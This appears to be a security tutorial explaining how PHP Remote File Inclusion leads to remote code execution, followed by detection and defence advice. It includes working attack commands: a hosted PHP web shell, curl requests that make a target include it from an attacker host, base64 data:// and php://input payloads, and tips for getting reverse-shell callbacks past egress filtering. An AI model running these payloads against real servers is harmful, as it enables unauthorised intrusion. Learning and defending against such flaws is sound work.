Remote File Inclusion (RFI) to RCE
Full command arsenal in the cheatsheetRemote File Inclusion (RFI) happens when a PHP application passes user input to include()/require() without validating it and the configuration allows including remote paths (URLs). The vulnerable pattern is as simple as:
include($_GET['img']); // image.php?img=...Unlike local inclusion (LFI), which only reads files on the server itself, RFI lets you point at a resource you control. And since include() executes the content as PHP, hosting a shell and passing its URL turns the inclusion into command execution (RCE):
# rev.php hosted on the attacker machine
echo '<?php system($_GET["cmd"]); ?>' > rev.php
python3 -m http.server 80 # serves rev.php
# force the remote inclusion and execute
curl "http://<ip>/image.php?img=http://<lhost>/rev.php&cmd=id"
# also over SMB (Windows/PHP): \\<lhost>\share\rev.phpIf allow_url_include is on but you cannot host the file, wrappers avoid the remote server:
# data:// (PHP code in the URL itself, base64)
curl "http://<ip>/image.php?img=data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUW2NdKTsgPz4=&c=id"
# php://input (the PHP code goes in the POST body)
curl "http://<ip>/image.php?img=php://input&c=id" --data '<?php system($_GET["c"]); ?>'The key requirement is that PHP has allow_url_include=On (often alongside allow_url_fopen). Without that option the remote inclusion fails and only the local route remains, so it is worth trying both. In old versions it was also combined with a null byte %00 to discard an appended suffix.
Exploitation detail: the callback. Getting the server to include the shell is only half of it. The reverse shell has to be able to get out to us: if the box filters egress traffic, a connection to an arbitrary port (4444) will hang even though the inclusion worked. Aiming the callback at a port the box already has open (21, 80, 443) usually beats that filtering.
Why it matters. RFI delivers code execution with the web process's privilege (typically www-data or apache), a solid foothold from which to enumerate credentials and escalate. It is a classic flaw in old or misconfigured PHP applications.
How to detect it. The signature is unmistakable in the access log: an inclusion parameter with an http:///https:///ftp:// value (img=http://<lhost>/rev.php), i.e. the server fetching a remote resource at a web request's behest. A WAF inspecting parameters for URL schemes blocks it. On the host, the web process making an outbound connection to fetch the file and then spawning sh/bash is the confirmation (auditd/Sysmon for Linux + egress firewall logs). The reverse-shell callback to an open port (21/80/443) is the accompanying network sign.
Defence. Keep allow_url_include=Off (the default for years now), never build inclusion paths from user input, and if you must load dynamic resources, use a strict allowlist of permitted files. Related to LFI/path traversal and command injection.